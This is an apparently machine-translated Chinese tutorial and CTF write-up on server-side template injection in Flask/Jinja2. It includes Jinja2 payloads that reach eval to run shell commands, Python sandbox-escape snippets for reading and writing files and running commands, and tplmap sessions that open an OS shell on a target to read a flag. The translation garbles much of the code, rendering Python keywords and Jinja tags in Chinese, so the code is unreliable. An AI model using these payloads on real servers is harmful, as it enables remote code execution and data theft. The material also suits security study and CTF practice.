当前位置:科技动态 > SSTI(模板注入)

SSTI(模板注入)

  • 发布:2023-10-01 20:26

SSTI

1。什么是 SSTI

模板引擎(这里特指用于Web开发的模板引擎)是为了将用户界面与业务数据(内容)分离而产生的。它可以生成特定格式的文档,网站使用的模板引擎会生成标准的HTML文档。
模板引擎可以让(网站)程序将界面与数据分离,将业务代码与逻辑代码分离,从而大大提高开发效率。良好的设计还使代码重用更加容易。

SSTI 是服务器端模板注入。常见的Web注入的原因是一样的。服务器在目标编译和渲染过程中接收用户的输入并将其用作Web应用程序模板内容的一部分。 ,用户插入的恶意内容被执行,可能会导致敏感信息泄露、代码执行、GetShell等问题。其范围主要取决于模板引擎的复杂程度。

2。 Flask/ssti 漏洞

flask/ssti漏洞,完整名称应该是:Flask(Jinja2)服务器端模板注入漏洞(SSTI)

1。烧瓶

Flask 是一个用 Python 编写的轻量级 Web 应用程序框架。模板引擎使用Jinja2。
Flask 为您提供了构建 Web 应用程序的工具、库和技术。该 Web 应用程序可以是一些网页、博客、wiki、基于 Web 的日历应用程序或商业网站。

flask简单易学。下面的代码是flask版本的hello world

from Flask import Flask #Initialization
app = Flask(__name__) # 初始化
@app.route("/") # 路由装饰器访问http://xxx.xx.xx时,使用hello函数处理响应
定义你好():
    返回“你好世界!”
 
如果 __name__ == "__main__":
    应用程序.run()

2。模板

定义模板


{$什么}

这只是一个模板,{$what}是数据。

我们可以使用相应的后端代码传入内容,得到一个新的html页面

3。金贾2

a。可变

Jinja2 使用 {{name}} 结构来表示变量。它是一个特殊的占位符,告诉模板引擎这个位置的值是从渲染模板时使用的数据中获取的。
Jinja2 可以识别所有类型的变量,甚至包括列表、字典和对象等复杂类型。此外,还可以使用过滤器来修改变量。过滤器名称添加在变量名称之后,并用竖线分隔。例如,以下模板以大写字母显示变量名称的值。

你好,{{ name|capitalize }}

b。 if&for 语句

if语句的简单示例

{% 如果用户 %}
     你好,{{user}}!
{% 别的 %}
     你好,陌生人!
{% 万一 %}

for 语句循环渲染一组元素

    {% 评论中的评论 %}
  • {{评论}}
  • {% 结束 %}

3。漏洞分析

1。繁殖过程

使用vulhub提供的环境进行复现:

前端页面为:

源码为:

从烧瓶导入烧瓶,请求
从 jinja2 导入模板

应用程序=烧瓶(__名称__)

@app.route("/")
定义索引():
    name = request.args.get('姓名', '客人')

    t = 模板("你好" + 名字)
    返回 t.render()

如果 __name__ == "__main__":
    应用程序.run()

2。原因分析

t = Template("Hello " + name)这行代码的意思是将输入的名字拼接到模板中。此时姓名的输入还没有经过任何测试。尝试使用模板语言来测试:

3。漏洞利用

使用官方poc测试:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if b.keys() 中的 'eval' %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% 万一 %}
  {% 万一 %}
  {% 结束 %}
{% 万一 %}
{% 结束 %}

Jinja2 使用沙盒模板执行环境

4。 python沙箱逃逸

a。 python相关知识

# __class__:用于查看变量所属的类。根据前面的变量形式就可以得到它所属的类。
>>> ''.__class__

>>> ().__class__

# __bases__:用于查看类的基类,或者使用数组索引查看特定位置的值
>>> ().__class__.__bases__
(,)
>>> ''.__class__.__base__
(,)
# __subclasses__():查看当前类的子类。
>>> [].__class__.__bases__[0].__subclasses__()
[、·····]
# __globals__以dict形式返回函数所在模块命名空间中的所有变量

b。一些常用的方法

//获取基础类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__base__[0]
目的

//读取文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()

//写入文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/ html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

构造payload执行ls命令:

{% for c in ().__class__.__bases__[0].__subclasses__(): %}
{% if c.__name__ == '_IterationGuard': %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
{% 万一 %}
{% 结束 %}

四。 tplmap

tplmap

D:\T00LS\CLT\tplmap>python www.sychzs.cn -u "http://10.10.10.200:8000/?name=asdf"
[+] Tplmap 0.5
    自动服务器端模板注入检测和利用工具[+] 测试 GET 参数“name”是否可注入
[+] Smarty 插件正在测试带有标签“*”的渲染
[+] Smarty插件正在测试盲注
[+] Mako 插件正在使用标签“${*}”测试渲染
[+] Mako 插件正在测试盲注
[+] Python 插件正在使用标签“str(*)”测试渲染
[+] Python插件正在测试盲注入
[+] Tornado 插件正在使用标签“{{*}}”测试渲染
[+] Tornado插件正在测试盲注入
[+] Jinja2 插件正在使用标签“{{*}}”测试渲染
[+] Jinja2 插件已确认使用标签“{{*}}”进行注入
[+] Tplmap 识别出以下注入点:

  GET参数:name //可以注入描述,给出详细信息
  引擎:金贾2
  注射:{{*}}
  上下文:文本
  操作系统: posix-linux
  技术:渲染
  能力:

   Shell命令执行: ok // 检查这些利用方法是否适用于目标环境
   绑定和反向shell:ok
   文件写入:确定
   文件读取:确定
   代码评估:好的,python代码[+] 重新运行 tplmap,提供以下选项之一: //您可以使用以下参数进行进一步操作

    --os-shell 在目标上运行 shell
    --os-cmd 执行 shell 命令
    --bind-shell PORT 连接到绑定到目标端口的 shell
    --reverse-shell HOST PORT 将 shell 发送回攻击者的端口
    --upload LOCAL REMOTE 上传文件到服务器
    --download REMOTE LOCAL 下载远程文件

5。 CTF问题

Tips:这道题是关于python模板注入的。使用 {{2*2}} 进行测试

1。手动方法

构建有效负载:

{% for c in ().__class__.__bases__[0].__subclasses__(): %}{% if c.__name__ == '_IterationGuard': %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat fl4g').read()") }}
{%万一%}
{%endfor%}

获取旗帜

2。剧本

D:\T00LS\CLT\tplmap>python www.sychzs.cn -u "http://111.198.29.45:46889/*" --os-shell
  网址参数:url
  引擎:金贾2
  注射:{{*}}
  上下文:文本
  操作系统:posix-linux2
  技术:渲染
  能力:

   shell命令执行:ok
   绑定和反向shell:ok
   文件写入:好的
   文件读取:好的
   代码评估:好的,python代码

[+] 在操作系统上运行命令。
posix-linux2 $ls
FL4g
索引.py
posix-linux2 $ 猫 fl4g
ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
posix-linux2 $

参考文字
SSTI 完整学习
烧瓶ssti出现泄漏

相关文章